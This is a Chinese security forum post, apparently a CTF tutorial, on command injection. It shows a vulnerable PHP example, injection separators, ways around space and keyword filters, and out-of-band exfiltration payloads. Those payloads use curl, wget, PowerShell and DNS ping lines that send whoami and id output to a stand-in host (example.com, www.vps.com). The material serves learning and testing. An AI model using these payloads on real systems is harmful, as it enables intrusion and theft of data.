用户
搜索

[web安全] 命令执行漏洞

  • TA的每日心情
    开心
    2022-1-12 17:18
  • 签到天数: 42 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋-见习白帽

    Rank: 3Rank: 3

    8

    主题

    73

    帖子

    2225

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-7-19
    发表于 2021-12-31 15:08:10 01456

    命令执行漏洞

    命令执行一般发生在远程,故被称为远程命令执行,即RCE(Remote Command Exec),也被称为Remote Code Exec

    用途:

    • 技巧性获取Flag
    • 进行反弹Shell
    • 利用出题人对权限的控制不严格,对题目拥有控制权,导致其他队伍选手无法解题

    命令执行

    命令执行原理

    通常会存在各种执行外部程序的函数,当调用函数执行且未对输入做过滤时,通过注入恶意命令,会造成巨大危害

    <?php
        $dir = $_GET['id'];
        system('echo'. $dir);
    ?>

    通常为了解决url中的歧义表达,会将一些特殊字符进行URL编码,%26就是&的意思,在编程语言中,&&是and语法的表达:

    ​                                                                       (表达式1)and (表达式2)

    ​   当两边表达式都为真时,才会返回真,;类似的:or 语法 用|| 表示,(注意他们之间存在惰性)
    在and语法中,若第一个表达式结果为假,则第二个表达式也不会执行,因为它的恒为假
    在or语法中,若第一个表达式为真,则第二个表达式也不会执行,因为它的恒为真

    ​   命令注入就是通过注入一些特殊字符,改变原本的执行意图,从而执行攻击者指定的指令

    命令执行基础

    1、转义字符

    转义字符即为取消字符的特殊意义

    • Windows
      • 转义字符为^
    • Linux
      • 转义字符为\

    2、多条命令执行

    下面是一些能构成多条命令执行的字符串:

    • Windows
      • &&
      • ||
      • %0a
    • Linux
      • &&
      • ||
      • ;
      • $()
      • ``
      • %0a
      • %0d

    在Linux下要注意:双引号包裹起来的字符串$()或者``的内容被当做命令执行,但是单引号包裹起来的字符串就是纯字符串,不会进行任何解析

    3、注释符号

    • Windows
      • ::
      • 在BAT批处理脚本中用得比较多
    • Linux
      • #
      • 在bash脚本中用的比较多

    命令执行的基本测试

    ​   在面对未知的命令注入时,最好通过各种Fuzz来确认命令注入点和黑名单规则

    ​                           程序名1 -程序参数1 参数值1 && 程序2 -程序参数名2 参数值2

    示例:

    ping -nc 1 www.baidu.com

    • 程序名:ping

    • 参数:-nc

    • 参数值:1www.baidu.com

    • 程序名与参数值之间的字符串:空格

    • 整个命令

      参数值有时较为复杂,可能部分可控,被双引号、单引号包裹,这时候需要注入额外的引号来逃逸

    && curl www.vps.com &&
    `curl www.vps.com`
    ;curl www.vps.com;

    再通过将Fuzz列表插入命令点后,通过查看自己服务器的Web日志来观察是否存在漏洞

    命令执行的绕过技巧

    缺少空格

    ​   在一些代码审计中经常会禁止空格的出现或者将空格过滤为空。例如:

    <?php
        $cmd = str_replace(" ", "",$_GET['cmd']);
        echo "CMD:" . $cmd . "<br>";
        ?>

    将CMD参数中空格过滤为空,导致执行echo pwnpwn失败,但是在命令中间隔的字符可以不只是空格,利用Burpsuite对%00~%ff区间的字符串进行测试。

    ​   利用Burp Suite进行Fuzz,可以发现其他字符也可以过滤;也可以通过字符串截取的方式获取空格

    Windows下

    %ProgramFiles:~10,1%

    • ~相当于截取符
      • 表示获取环境变量%ProgramFiles%的值:C:\Program Files

    以上命令表示:从第10个开始且获取一个字符串,也就是空格

    Linux下

    $IFS$9 # 绕过空格
    {cmd,args} # bash有效,zsh、dash无效
    cat<>flag # 读取文件时
    • $IFS$9

      • Linux存在IFS(Internal Field Separator)环境变量,即内部字段分隔符,定义了bash shell 的命令间隔字符,一般为空格。

      • > 当只注入$IFS时,即执行的命令结果为echo$IFSaaa,解析后的变量是不存在的,所以需要间隔符来避免,通常使用$9,其表示当前系统shell经常的==第九个参数==,通常是个==空字符串==。即最后执行的命令为echo$IFS$9aaa
    • ${IFS}​

    • 或者在某些平台下通过修改IFS变量为逗号来进行注入

      • ;IFS=,;

    黑名单关键字

    1、利用变量拼接

    Linux: a=c;b=at;c=he;d=llo; $a$b   ${c}${d}

    其中,a变量为c,b变量为at,最终拼接即为cat,c变量为he,d变量为llo,最终拼接为hello

    2、使用通配符

    ​       “?”代表任意一个字符串,“*”代表任意个字符串

    cat /tm?/fla*   (Linux)
    type fla*       (Windows)

    3、借用已有字符串

    ​       若是禁用了<>?等字符串,则可以借用其他文件中的字符串,利用substr()函数截取出某个具体字符

    image-20211102162634330

    执行无回显

    推荐平台:VTest平台[VTest][https://github.com/opensec-cn/vtest]

    1、

    HTTP通道

    ​   在Windows下,目前只能通过相对复杂的命令进行外带:

    for /F %x in ('echo hello') do start http://example.com/httplog/%x

    假设自己搭建平台的域名为http://example.com/,通过for命令,将echo hello的执行结果保存%x变量中,然后拼接到URL后

    其缺陷是调用浏览器后并不会关闭,并且遇上特殊字符、空格时会存在截断问题,可以借助powershell进行数据外带

    for /F %x in ('echo hello') do powershell $a = [System.Convert]::
                ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x')); $b= New-Object
                Sytem.Net.WebClient;$b.DownloadString('http://example.com/httplog/'+$a);

    ​   在Linux下通常利用cURL、wget等程序外带数据

    curl example.com/`whoami`
    wget example.com/$(id|base64)

    2、DNS通道

    以ping来测试DNS外带数据,ping的参数在win和linux下是有些不同,例如限制ping的个数,win下是-n,Linux下是-c,为了处理兼容性,联合使用ping -nc 1 test.com

    ​   在Linux下:

    ping -c 1 `whoami`.example.com

    ​   在windows下,相对复杂,主要利用delims命令进行分割处理,最终拼接到域名前缀上,在利用ping程序外带

    # 1、获取计算机名
    for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.example.com
    
    # 2、获取用户名
    for /F "delims=\" tokens=2 %i in ('whoami') do ping -n 1 %i.xxx.example.com

    3、时间盲注

    网络不通时,主要借用&&||的惰性,利用时间盲注将其跑出来;

    Linux下可以使用sleep函数

    Windows下可以选择一些耗时的命令。如ping -n 5 127.0.0.1

    4、写入文件,二次返回

    ​       如果遇到网络隔离的情况,time型读数据将会极其缓慢,可以将执行命令结果写入到Web目录下,再次通过Web访问文件从而到达回显目的

    例如:通过>进行重定向,将结果导出到Web目录http://xxx.com/xx/3.php?cmd=whoami>test,再次访问文件http://xxx.com/xx/test就可以看到结果

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册